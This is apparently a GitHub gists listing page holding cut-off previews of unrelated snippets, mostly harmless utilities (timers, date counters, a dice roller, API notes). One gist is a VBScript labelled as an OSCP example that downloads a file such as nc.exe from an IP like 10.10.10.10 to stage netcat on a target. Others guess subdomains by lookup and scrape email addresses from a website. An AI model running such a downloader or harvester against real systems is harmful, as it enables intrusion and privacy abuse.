This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Document</title> | |
<link rel="stylesheet" href="style.css"> | |
</head> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Wrapper for setTimeout | |
* @param {number} timeDelay Time to wait (ms) | |
* @returns {promise} Empty promise that is resolved after the delay | |
*/ | |
async function wait(timeDelay){ | |
return new Promise( | |
resolve => setTimeout( | |
() => resolve(), timeDelay | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
########## | |
# GitHub # | |
########## | |
GitHub's APIs are AWESOME! They give you access to soooo much information, it's insane! | |
Nearly everything you want to know you can access via their APIs. | |
This includes things like: name, username, profile picture, repos, *email*, user events, *followers/following*, etc. | |
The main practical restrictions come from the API rate limiting. | |
Unauthenticated requests (what I used in my project) are limited to something like 50 requests per IP per hour. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# this program converts a floating point number from binary to decimal | |
# sign mantissa * 2**(exponent) | |
sign = 0 | |
exponent = '10100' | |
mantissa = '0110101110' | |
# convert binary to decimal | |
def bin2dec(n): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://stackoverflow.com/questions/12297500/python-module-for-nslookup | |
import socket | |
import random | |
words = '''\ | |
profile | |
info | |
swap | |
tag |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'OSCP example download script shortened and condensed into two lines | |
'download.vbs http://10.10.10.10/nc.exe nc.exe | |
Dim http, varByteArray, strData, strBuffer, i, ts : Set http = Nothing : Set http = CreateObject("WinHttp.WinHttpRequest.5.1") : If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") : If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") : If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") | |
http.Open "GET", WScript.Arguments.Item(0), False : http.Send : Set ts = CreateObject("Scripting.FileSystemObject").CreateTextFile(WScript.Arguments.Item(1), True) : strData = "" : strBuffer = "" : For i = 0 to UBound(http.ResponseBody) : ts.Write Chr(255 And Ascb(Midb(http.ResponseBody,i + 1, 1))) : Next : ts.Close |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* This script: | |
* - takes 2 time entries [(hh:mm) (AM or PM)] and [(hh:mm) (AM or PM)] | |
* - calculates the time difference between them | |
* - saves the time difference in the Total Time field | |
* | |
* This script requires the following fields: | |
* - 2 text entry fields ("Start Time" and "End Time") | |
* - 2 dropdowns ("Start AM or PM" and "End AM or PM") these have the options "AM" and "PM" respectively | |
* - 1 read only text entry field (Total Time) | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# These functions are used to calculate how many work days have been in the previous N number of days | |
days = ['mon','tue','wed','thu','fri','sat','sun'] | |
# this function counts the workdays within the last n days | |
def countWorkDays(daysAgo, dayOfWeek): | |
# print(daysAgo, days[dayOfWeek]) | |
workDay = 1 if dayOfWeek < 5 else 0 | |
dayOfWeek = dayOfWeek - 1 if dayOfWeek > 0 else 6 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from random import randint | |
# roll 4 d6 and drop the losest val | |
def rollStat(): | |
rolls = [] | |
for i in range(4): | |
rolls.append(randint(1, 6)) | |
rolls.sort(reverse=True) | |
topThree = rolls[0:3] | |
print(' + '.join(str(x) for x in topThree) + ' = ' + str(sum(topThree))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, re | |
url = 'http://lemonshell.com' | |
emails = [] | |
site = requests.get(url).content.decode('utf-8') | |
reg = re.compile('[\w\d\.]+@[\w\d\.]+\.[\w]{2,}') | |
for email in reg.findall(site): | |
if email not in emails: |